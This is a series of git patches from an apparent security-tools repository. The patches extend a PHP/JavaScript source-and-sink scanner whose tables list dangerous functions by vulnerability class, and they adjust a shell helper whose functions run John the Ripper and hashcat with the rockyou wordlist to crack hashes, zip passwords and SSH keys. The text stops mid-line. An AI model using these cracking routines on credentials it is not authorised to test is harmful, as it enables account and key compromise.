similar to file(), except that file_get_contents() returns the file in a string, starting at the specified offset up to maxlen bytes. On failure, file_get_contents() will return FALSE.", + "file_get_contents ( string $filename [, bool $use_include_path = FALSE [, resource $context [, int $offset = 0 [, int $maxlen ]]]] ) : string", + "Code Injection, LFI, RFI", + "high", + "source" + ], + "show_source()": [ + "(Alias for highlight_file()) Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "show_source ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "highlight_file()": [ + "Prints out or returns a syntax highlighted version of the code contained in filename using the colors defined in the built-in syntax highlighter for PHP.", + "highlight_file ( string $filename [, bool $return = FALSE ] ) : mixed", + "Information Disclosure", + "low", + "source" + ], + "fopen()": [ + "fopen() binds a named resource, specified by filename, to a stream.", + "fopen ( string $filename , string $mode [, bool $use_include_path = FALSE [, resource $context ]] ) : resource", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "file()": [ + "Reads an entire file into an array.", + "ile ( string $filename [, int $flags = 0 [, resource $context ]] ) : array", + "Code Injection, LFI, RFI", + "low", + "source" + ], + "fpassthru()": [ + "Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.", + "fpassthru ( resource $handle ) : int", + "Code Injection, LFI, RFI, RCE (depending on the context)", + "low", + "sink" + ], + "fsockopen()": [ + "Initiates a socket connection to the resource specified by hostname.", + "fsockopen ( string $hostname [, int $port = -1 [, int &$errno [, string &$errstr [, float $timeout = ini_get(\"default_socket_timeout\") ]]]] ) : resource", + "RCE (depends on context)", + "low", + "sink" + ], + "gzopen()": [ + "Opens a gzip (.gz) file for reading or writing.", + "gzopen ( string $filename , string $mode [, int $use_include_path = 0 ] ) : resource", + "Code Injection, LFI (depends on context)", + "low", + "sink" + ], + "gzread()": [ + "gzread() reads up to length bytes from the given gz-file pointer. Reading stops when length (uncompressed) bytes have been read or EOF is reached, whichever comes first.", + "gzread ( resource $zp , int $length ) : string", + "Code Injection, LFI", + "low", + "sink" + ], + "gzfile()": [ + "Read entire gz-file into an array. This function is identical to readgzfile(), except that it returns the file in an array.", + "gzfile ( string $filename [, int $use_include_path = 0 ] ) : array", + "Code Injection, LFI", + "low", + "sink" + ], + "gzpassthru()": [ + "Output all remaining data on a gz-file pointer. Reads to EOF on the given gz-file pointer from the current position and writes the (uncompressed) results to standard output.", + "gzpassthru ( resource $zp ) : int", + "Code Injection, LFI", + "low", + "sink" + ], + "readgzfile()": [ + "Output a gz-file. Reads a file, decompresses it and writes it to standard output.", + "readgzfile ( string $filename [, int $use_include_path = 0 ] ) : int", + "Code Injection, LFI, RCE", + "medium", + "sink" + ], + "mssql_query()": [ + "Send MS SQL query to the currently active database on the server that's associated with the specified link identifier. This function was REMOVED in PHP 7.0.0.", + "mssql_query ( string $query [, resource $link_identifier [, int $batch_size = 0 ]] ) : mixed", + "SQL Injection", + "high" + ], + "odbc_exec()": [ + "Sends an SQL statement to the database server.", + "odbc_exec ( resource $connection_id , string $query_string [, int $flags ] ) : resource", + "SQL Injection", + "high", + "sink" + ], + "sqlsrv_query()": [ + "Prepares and executes a query", + "sqlsrv_query ( resource $conn , string $sql [, array $params [, array $options ]] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "PDO::query()": [ + "PDO::query() executes an SQL statement in a single function call, returning the result set (if any) returned by the statement as a PDOStatement object.", + "public PDO::query ( string $statement , int $PDO::FETCH_CLASS , string $classname , array $ctorargs ) : PDOStatement", + "SQL Injection", + "medium", + "sink" + ], + "move_uploaded_file()": [ + "This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination.", + "move_uploaded_file ( string $filename , string $destination ) : bool", + "File Include", + "low", + "sink" + ], + "print()": [ + "Outputs arg. print is not actually a real function (it is a language construct) so you are not required to use parentheses with its argument list.", + "print ( string $arg ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "printf()": [ + "Produces output according to format.", + "printf ( string $format [, mixed $... ] ) : int", + "XSS, Content/HTML Injection", + "low", + "sink" + ], + "ldap_search()": [ + "Performs the search for a specified filter on the directory with the scope of LDAP_SCOPE_SUBTREE. This is equivalent to searching the entire directory.", + "ldap_search ( resource $link_identifier , string $base_dn , string $filter [, array $attributes = array() [, int $attrsonly = 0 [, int $sizelimit = -1 [, int $timelimit = -1 [, int $deref = LDAP_DEREF_NEVER [, array $serverctrls = array() ]]]]]] ) : resource", + "unknown?", + "low" + ], + "header()": [ + "Send a raw HTTP header", + "header ( string $header [, bool $replace = TRUE [, int $http_response_code ]] ) : void", + "Header Injection, Open Redirect", + "low", + "sink" + ], + "sqlite_query()": [ + "SQLiteDatabase::query - Executes a query against a given database and returns a result handle", + "sqlite_query ( string $query , resource $dbhandle [, int $result_type = SQLITE_BOTH [, string &$error_msg ]] ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "pg_query()": [ + "pg_query() executes the query on the specified database connection. pg_query_params() should be preferred in most cases.", + "pg_query ([ resource $connection ], string $query ) : resource", + "SQL Injection", + "medium", + "sink" + ], + "mysql_query()": [ + "mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.(deprecated in PHP 5.5.0, and it was removed in PHP 7.0.0)", + "mysql_query ( string $query [, resource $link_identifier = NULL ] ) : mixed", + "SQL Injection", + "high", + "sink" + ], + "mysqli_query()": [ + "Performs a query against the database.", + "mysqli_query ( mysqli $link , string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "mysqli::query()": [ + "Performs a query against the database.", + "mysqli::query ( string $query [, int $resultmode = MYSQLI_STORE_RESULT ] ) : mixed", + "SQL Injection", + "medium", + "sink" + ], + "apache_setenv()": [ + "Sets the value of the Apache environment variable specified by variable.", + "apache_setenv ( string $variable , string $value [, bool $walk_to_top = FALSE ] ) : bool", + "ENV server variables overwrite", + "low", + "sink" + ], + "dl()": [ + "Loads a PHP extension at runtime", + "dl ( string $library ) : bool", + "Code Injection, RCE (in certain conditions)", + "low", + "sink" + ], + "escapeshellarg()": [ + "Escape a string to be used as a shell argument", + "escapeshellarg ( string $arg ) : string", + "", + "low" + ], + "escapeshellcmd()": [ + "Escapes any characters in a string that might be used to trick a shell command into executing arbitrary commands", + "escapeshellcmd ( string $command ) : string", + "", + "low" + ], + "get_cfg_var()": [ + "Gets the value of a PHP configuration option", + "get_cfg_var ( string $option ) : mixed", + "Information Disclosure", + "low" + ], + "get_current_user()": [ + "Gets the name of the owner of the current PHP script", + "get_current_user ( void ) : string", + "Information Disclosure", + "low" + ], + "getcwd()": [ + "Gets the current working directory", + "getcwd ( void ) : string", + "Information Disclosure", + "low" + ], + "getenv()": [ + " Gets the value of an environment variable", + "getenv ( string $varname [, bool $local_only = FALSE ] ) : string", + "Information Disclosure", + "low" + ], + "php_uname()": [ + "Returns information about the operating system PHP is running on", + "php_uname ([ string $mode = \"a\" ] ) : string", + "Information Disclosure", + "low" + ], + "phpinfo()": [ + "Outputs information about PHP's configuration", + "phpinfo ([ int $what = INFO_ALL ] ) : bool", + "Information Disclosure", + "medium" + ], + "putenv()": [ + "Adds setting to the server environment. The environment variable will only exist for the duration of the current request. At the end of the request the environment is restored to its original state.", + "putenv ( string $setting ) : bool", + "ENV variable create/owerwrite", + "low", + "sink" + ], + "symlink()": [ + "Creates a symbolic link to the existing target with the specified name link.", + "symlink ( string $target , string $link ) : bool", + "LFI (in certain conditions)", + "low" + ], + "syslog()": [ + "Generate a system log message", + "syslog ( int $priority , string $message ) : bool", + "Log poisoning", + "low" + ], + "curl_exec()": [ + "Execute the given cURL session. This function should be called after initializing a cURL session and all the options for the session are set.", + "curl_exec ( resource $ch ) : mixed", + "SSRF", + "medium", + "sink" + ], + "__destruct()": [ + "unserialize() checks if your class has a function with the magic name __destruct(). If so, that function is executed after unserialization", + "__destruct ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "high", + "sink" + ], + "__wakeup()": [ + "serialize() checks if your class has a function with the magic name __wakeup(). If so, that function is executed prior to any serialization", + "__wakeup ( void ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__sleep()": [ + "serialize() checks if your class has a function with the magic name __sleep(). If so, that function is executed prior to any serialization", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__serialize()": [ + "checks if the class has a function with the magic name __serialize(). If so, that function is executed prior to any serialization. It must construct and return an associative array of key/value pairs that represent the serialized form of the object. If no array is returned a TypeError will be thrown.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__unserialize()": [ + "checks for the presence of a function with the magic name __unserialize(). If present, this function will be passed the restored array that was returned from __serialize(). It may then restore the properties of the object from that array as appropriate.", + "public __sleep ( void ) : array", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__call()": [ + "Triggered when invoking inaccessible methods in an object context", + "public __call ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__get()": [ + "Is utilized for reading data from inaccessible (protected or private) or non-existing properties.", + "public __get ( string $name ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__set()": [ + "Is run when writing data to inaccessible (protected or private) or non-existing properties.", + "public __set ( string $name, mixed $value ) : void", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "__callStatic()": [ + "Triggered when invoking inaccessible methods in a static context.", + "public static __callStatic ( string $name , array $arguments ) : mixed", + "Object Injection; RCE via unserialize() + POP gadget chain", + "medium", + "sink" + ], + "filter_var()": [ + "Filters a variable with a specified filter", + "filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] ) : mixed", + "Validation bypass (in certain conditions)", + "low" + ], + "file_put_contents()": [ + "Write data to a file", + "file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int", + "Arbitrary file write", + "high", + "source" + ], + "extractTo(": [ + "Extract the complete archive or the given files to the specified destination. The default permissions for extracted files and directories give the widest possible access.", + "public ZipArchive::extractTo(string $pathto, array|string|null $files = null): bool", + "Arbitrary file write", + "medium", + "source" + ], + "SELECT.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "INSERT.*INTO": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "UPDATE.*": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "DELETE.*FROM": [ + "SQL syntax found.", + "This is likely a raw SQL query, which can be filled with user provided input or not implemented as prepared statement", + "SQL Injection", + "medium", + "source" + ], + "$_POST": [ + "$_POST reference found", + "", + "", + "critical", + "source" + ], + "$_GET": [ + "$_GET reference found", + "", + "", + "critical", + "source" + ], + "$_REQUEST": [ + "$_REQUEST reference found", + "", + "", + "critical", + "source" + ], + "$_FILES": [ + "$_FILES reference found", + "", + "", + "high", + "source" + ], + "$_ENV": [ + "$_ENV reference found", + "", + "", + "medium", + "source" + ], + "$_COOKIES": [ + "$_COOKIES reference found", + "", + "", + "high", + "source" + ], + "$_SESSION": [ + "$_SESSION reference found", + "", + "", + "medium", + "source" + ], + "$_SERVER": [ + "$_SERVER reference found", + "", + "", + "medium", + "source" + ] + } } diff --git a/pef/pef.py b/pef/pef.py index 4e1329f..80cb34a 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -37,143 +37,26 @@ import re import sys -from imports import pefdocs +from imports.pefdocs import exploitableFunctions, exploitableFunctionsDesc from imports.beautyConsole import beautyConsole -# exploitable functions -exploitableFunctions = [ - "`", - "system(", - "exec(", - "popen(", - "pcntl_exec(", - "eval(", - "arse_str(", - "parse_url(", - "preg_replace(", - "create_function(", - "passthru(", - "shell_exec(", - "popen(", - "proc_open(", - "pcntl_exec(", - "extract(", - "putenv(", - "ini_set(", - "mail(", - "unserialize(", - "assert(", - "call_user_func(", - "call_user_func_array(", - "ereg_replace(", - "eregi_replace(", - "mb_ereg_replace(", - "mb_eregi_replace(", - "virtual", - "readfile(", - "file_get_contents(", - "show_source(", - "highlight_file(", - "fopen(", - "file(", - "fpassthru(", - "fsockopen(", - "gzopen(", - "gzread(", - "gzfile(", - "gzpassthru(", - "readgzfile(", - "mssql_query(", - "odbc_exec(", - "sqlsrv_query(", - "PDO::query(", - "move_uploaded_file(", - "echo", - "print(", - "printf(", - "ldap_search(", - "sqlite_", - "sqlite_query(", - "pg_", - "pg_query(", - "mysql_", - "mysql_query(", - "mysqli::query(", - "mysqli_", - "mysqli_query(", - "apache_setenv(", - "dl(", - "escapeshellarg(", - "escapeshellcmd(", - "extract(", - "get_cfg_var(", - "get_current_user(", - "getcwd(", - "getenv(", - "ini_restore(", - "ini_set(", - "passthru(", - "pcntl_exec(", - "php_uname(", - "phpinfo(", - "popen(", - "proc_open(", - "putenv(", - "symlink(", - "syslog(", - "curl_exec(", - "__wakeup(", - "__destruct(", - "__sleep(", - "filter_var(", - "file_put_contents(", - "extractTo(", - "$_POST", - "$_GET", - "$_COOKIES", - "$_REQUEST", - "$_SERVER", - "$_SESSION", - "include($_GET", - "require($_GET", - "include_once($_GET", - "require_once($_GET", - "include($_REQUEST", - "require($_REQUEST", - "include_once($_REQUEST", - "require_once($_REQUEST", - "SELECT.*FROM", - "INSERT.*INTO", - "UPDATE.*", - "DELETE.*FROM" -] - # allowed scan levels ALLOWED_LEVELS = ['ALL', 'LOW', 'MEDIUM', 'HIGH', 'CRITICAL'] DEFAULT_LEVELS = 'MEDIUM,HIGH,CRITICAL' - -def banner(): - """ - Prints welcome banner with contact info - """ - print(beautyConsole.getColor("green") + "\n\n", "-" * 100) - print("-" * 6, " PEF | PHP Source Code grep tool", - " " * 35, "-" * 16) - print("-" * 6, " https://github.com/bl4de ", - " " * 22, "-" * 16) - print("-" * 100, "\33[0m\n") - +ALLOWED_LANG = ['PHP', 'JavaScript'] +DEFAULT_LANG = 'PHP' class PefEngine: """ implements pef engine """ - def __init__(self, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): + def __init__(self, lang, level, source_or_sink, filename, skip_vendor, phpfunction, verbose): """ constructor """ + self.lang = lang # selected language self.level = level # scan only for level set of functions self.source_or_sink = source_or_sink # show only sinks or sources self.filename = filename # name of file/folder to scan @@ -226,8 +109,8 @@ def print_code_line(self, file_name, _line, i, fn, severity="", level='ALL', sou meets_criteria = 0 # print legend only if there is entry in pefdocs.py - if fn and fn.strip() in pefdocs.exploitableFunctionsDesc.keys(): - doc = pefdocs.exploitableFunctionsDesc.get(fn.strip()) + if fn and fn.strip() in exploitableFunctionsDesc[self.lang].keys(): + doc = exploitableFunctionsDesc[self.lang].get(fn.strip()) impact = doc[3] if (impact.upper() in level.upper()) or level == 'ALL': @@ -265,7 +148,7 @@ def main(self, src): line = l.rstrip() if self.level: if not self.is_comment(line): - for fn in exploitableFunctions: + for fn in exploitableFunctions[self.lang]: (meets_criteria, number_of_issues) = self.analyse_line(l, i, fn, f, line) if number_of_issues is not None: res = True @@ -315,40 +198,61 @@ def print_summary(self, total_found: int) -> None: print(f"{beautyConsole.getColor('grey')}Severity levels: {beautyConsole.getColor('grey')} LOW {beautyConsole.getColor('green')} MEDIUM {beautyConsole.getColor('yellow')} HIGH {beautyConsole.getColor('red')} CRITICAL{beautyConsole.getColor('grey')}\n") -# main program -if __name__ == "__main__": +def banner(): + """ + Prints welcome banner with contact info + """ + print(beautyConsole.getColor("green") + "\n\n", "-" * 100) + print("-" * 6, " PEF | PHP Source Code grep tool", + " " * 35, "-" * 16) + print("-" * 6, " https://github.com/bl4de ", + " " * 22, "-" * 16) + print("-" * 100, "\33[0m\n") +def parse_arguments(): + """ + Parses command line arguments + """ parser = argparse.ArgumentParser( - description=sys.modules[__name__].__doc__, + description="PHP Source Code grep tool", add_help=True ) - filename = '.' # initial value for file/dir to scan is current directory - phpfunction = '' - parser.add_argument( - "-s", "--skip-vendor", help=f"exclude ./vendor folder", action="store_true") + "-s", "--skip-vendor", help="exclude ./vendor folder", action="store_true") parser.add_argument( - "-v", "--verbose", help=f"show documentation", action="store_true") + "-v", "--verbose", help="show documentation", action="store_true") parser.add_argument( "-l", "--level", - help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS} if -f is set, this setting is ignored") + help=f"severity: ALL, LOW, MEDIUM, HIGH or CRITICAL; default: {DEFAULT_LEVELS}") parser.add_argument( - "-S", "--sources", help=f"show only sources", action="store_true") + "-L", "--lang", + help=f"language: PHP, JavaScript; default: {DEFAULT_LANG}") parser.add_argument( - "-K", "--sinks", help=f"show only sinks", action="store_true") + "-S", "--sources", help="show only sources", action="store_true") + parser.add_argument( + "-K", "--sinks", help="show only sinks", action="store_true") parser.add_argument( "-f", "--function", - help=f"Search for particular PHP function (eg. unserialize)", + help="Search for particular PHP function (eg. unserialize)", ) parser.add_argument( "-d", "--dir", - help=f"Directory to scan (or sinlge file, optionally)", + help="Directory to scan (or single file, optionally)", ) + return parser.parse_args() + +# main program +if __name__ == "__main__": - args = parser.parse_args() + if len(sys.argv) == 1: + print(f"{beautyConsole.getColor('red')}No arguments provided, use -h for help") + exit(1) + args = parse_arguments() + + lang = args.lang.lower() if args.lang else DEFAULT_LANG.lower() level = args.level.upper() if args.level else 'HIGH,CRITICAL' # if we are looking for a specific function, level is not taken into account @@ -361,13 +265,19 @@ def print_summary(self, total_found: int) -> None: if args.sinks: source_or_sink = 'sink' + # if no directory or file is provided, exit if args.dir is None: print(f"{beautyConsole.getColor('red')}No directory or file(s) to scan provided...") - exit(0) + exit(1) + + # check if the langauge selected is available + if lang not in [l.lower() for l in ALLOWED_LANG]: + print(f"{beautyConsole.getColor('red')}Language {args.lang} is not supported, use one of: {', '.join(ALLOWED_LANG)}") + exit(1) filename = args.dir # main orutine starts here - engine = PefEngine(level, source_or_sink, + engine = PefEngine(lang, level, source_or_sink, filename, args.skip_vendor, args.function, args.verbose) engine.run() diff --git a/pef/test.js b/pef/test.js new file mode 100644 index 0000000..a9711a6 --- /dev/null +++ b/pef/test.js @@ -0,0 +1,5 @@ +'use strict'; +const cmd = 'console.log("Hello, World!");'; +eval(cmd); + + From b7bf0ec80922ef9339049574ed22819381328fb8 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 16 Jul 2025 20:16:37 +0100 Subject: [PATCH 282/289] [s0mbra] fix paths for John The Ripper --- s0mbra.sh | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index a932357..9a48152 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -77,13 +77,13 @@ http_server() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" - echo > "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then - "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt --format="$2" "$1" elif [[ -z $2 ]]; then - "$HACKING_HOME"/tools/JohnTheRipper/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" + "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" fi - cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." osascript -e 'display notification "our choom John has left the house..." with title "s0mbra says:"' } @@ -91,14 +91,14 @@ rockyou_john() { # show JohnTheRipper's pot file john_pot() { echo -e "$BLUE[s0mbra] Joghn The Ripper pot file:$GRAY" - cat "$HACKING_HOME"/tools/JohnTheRipper/run/john.pot + cat "$HACKING_HOME"/tools/jtr/run/john.pot echo -e "\n$BLUE[s0mbra] Done." } # ZIP password cracking with rockyou.txt rockyou_zip() { echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." - "$HACKING_HOME"/tools/JohnTheRipper/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt + "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt echo -e "\n$BLUE[s0mbra] Done." @@ -107,7 +107,7 @@ rockyou_zip() { # converts id_rsa to JohnTheRipper format for cracking SSH key ssh_to_john() { echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JohnTheRipper format to crack it$CLR" - python "$HACKING_HOME"/tools/JohnTheRipper/run/sshng2john.py "$1" > "$1".hash + python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash echo -e "$BLUE[s0mbra] We have a hash.\n" echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash From 4ed6384b5f2c24ebce8c401511206f5c8adcfd7e Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 17 Jul 2025 16:56:21 +0100 Subject: [PATCH 283/289] [pef] add JavaScript sources and sinks --- pef/imports/pefdocs.py | 128 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 128 insertions(+) diff --git a/pef/imports/pefdocs.py b/pef/imports/pefdocs.py index b48edf9..79b74a9 100644 --- a/pef/imports/pefdocs.py +++ b/pef/imports/pefdocs.py @@ -4,6 +4,22 @@ exploitableFunctions = { "javascript": [ "eval(", + "document.URL", + "document.documentURI", + "document.baseURI", + "location", + "document.cookie", + "document.referrer", + "document.write(", + "innerHTML", + "outerHTML", + "insertAdjacentHTML(", + "location.host", + "location.href", + "location.search", + "Function(", + "textContent", + "innerText", ], "php": [ "`", @@ -125,6 +141,118 @@ "RCE", "critical", "sink" + ], + "document.URL": [ + "The URL of the document", + "document.URL", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.documentURI": [ + "The documentURI property returns the URI of the document", + "document.documentURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.baseURI": [ + "The baseURI property returns the absolute base URI of the document", + "document.baseURI", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "location": [ + "The location property of the Window interface is a Location object, which represents the location (URL) of the object to which it is applied.", + "location", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.cookie": [ + "The cookie property of the Document interface represents the cookies of the current document.", + "document.cookie", + "XSS, CSRF, Cookie Injection", + "medium", + "source" + ], + "document.referrer": [ + "The referrer property of the Document interface returns the address of the previous document from which the current document was accessed.", + "document.referrer", + "SSRF, Filter Bypass", + "medium", + "source" + ], + "document.write()": [ + "The write() method of the Document interface writes a string of text to a document stream opened by document.open().", + "document.write(text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "innerHTML": [ + "The innerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element.", + "element.innerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "outerHTML": [ + "The outerHTML property of the Element interface gets or sets the HTML or XML markup contained within the element, including the element itself.", + "element.outerHTML", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "insertAdjacentHTML": [ + "The insertAdjacentHTML() method of the Element interface parses the specified text as HTML or XML and inserts the resulting nodes into the DOM tree at a specified position.", + "element.insertAdjacentHTML(position, text)", + "XSS, HTML Injection, Content Injection etc.", + "high", + "sink" + ], + "location.host": [ + "The host property of the Location interface returns the host and port of the URL.", + "location.host", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.href": [ + "The href property of the Location interface gets or sets the entire URL.", + "location.href", + "SSRF, Filter Bypass, Open Redirect", + "medium", + "sink" + ], + "location.search": [ + "The search property of the Location interface gets or sets the query string part of the URL.", + "location.search", + "SSRF, Filter Bypass", + "medium", + "sink" + ], + "Function()": [ + "The Function() constructor creates a new Function object. Calling the constructor directly can create functions dynamically, but it is not recommended due to security and performance reasons.", + "new Function([arg1[, arg2[, ...argN]],] functionBody)", + "RCE", + "critical", + "sink" + ], + "textContent": [ + "The textContent property of the Node interface represents the text content of the node and its descendants.", + "element.textContent", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" + ], + "innerText": [ + "The innerText property of the Element interface represents the rendered text content of an element and its descendants.", + "element.innerText", + "XSS, HTML Injection, Content Injection etc.", + "medium", + "sink" ] }, "php": { From b12141fa673dd618da7c7a1289037152cdf1b31b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 19 Jul 2025 23:42:05 +0100 Subject: [PATCH 284/289] [s0mbra] remove unused commands --- s0mbra.sh | 33 +-------------------------------- 1 file changed, 1 insertion(+), 32 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 9a48152..08d5a55 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -675,26 +675,6 @@ hshr() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } -# extract links and API endpoints from JavaScript file -urls() { - echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg http | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - -endpoints() { - echo -e "$BLUE[s0mbra] Extracting URLs from $1...$CLR" - python /Users/bl4de/hacking/tools/LinkFinder/linkfinder.py -i "$1" -o cli | rg -v http | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - -# extract secrets from JavaScript file -secrets() { - echo -e "$BLUE[s0mbra] Extracting secrets from $1...$CLR" - python /Users/bl4de/hacking/tools/SecretFinder/SecretFinder.py -i "$1" -o cli | sort -u - echo -e "$BLUE\n[s0mbra] Done! $CLR" -} - ### menu cmd=$1 @@ -813,15 +793,6 @@ case "$cmd" in rubysast) ruby_sast "$2" ;; - urls) - urls "$2" - ;; - endpoints) - endpoints "$2" - ;; - secrets) - secrets "$2" - ;; *) clear echo -e "$CLR" @@ -850,9 +821,7 @@ case "$cmd" in echo -e "$BLUE_BG:: STATIC CODE ANALYSIS ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN unmin $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR" echo -e "$CYAN rubysast $GRAY[DIR]\t\t\t$YELLOW(Ruby)$CLR\t\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR" - echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN urls $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN secrets $GRAY[FILE|DIR|URL]\t\t$YELLOW(JavaScript)$CLR\t$CYAN endpoints $GRAY[FILE|DIR|URL]\t$YELLOW(JavaScript)$CLR" - echo -e "$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" + echo -e "$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR" echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" echo -e "$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR" echo -e "$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR" From 5cde940a6391a4d15d8934466ca7ab85afae6531 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 17 Sep 2025 08:17:51 +0100 Subject: [PATCH 285/289] [s0mbra] update --- Vi/vi.py | 135 ---------------------------------------------- s0mbra.sh | 8 +++ subdomain_enum.sh | 98 --------------------------------- 3 files changed, 8 insertions(+), 233 deletions(-) delete mode 100755 Vi/vi.py delete mode 100644 subdomain_enum.sh diff --git a/Vi/vi.py b/Vi/vi.py deleted file mode 100755 index 43408b9..0000000 --- a/Vi/vi.py +++ /dev/null @@ -1,135 +0,0 @@ -#!/usr/bin/env python3 -import re -import urllib.parse -from collections import deque - -import requests -import requests.exceptions -from bs4 import BeautifulSoup - -''' -Vi.py - an automated script to extract all inteersting information from website - -@author: bl4de - -@TBD: -- refactor scafolding code [In progress] -- add argparser - -- extract JavaScript files -> scan them for stuff - (API endpoints, secrets, hardcoded information etc.) -- parse HTML for stuff -- harvest useful information from any comment found (in HTML and JS alike) -- other? (TBA) -''' - - -def extract_emails(emails: set, http_response: requests.Response) -> set: - ''' - Extracts emails from provided HTTP response body and append them - to already found set of emails - ''' - emails.update(set(re.findall( - r"[a-z0-9\.\-+_]+@[a-z0-9\.\-+_]+\.[a-z]+", http_response.text, re.IGNORECASE))) - return emails - - -def extract_javascript_files(javascript_files: set, http_response: requests.Response) -> set: - ''' - Extracts JavaScript files urls from provided HTTP response body and append them - to 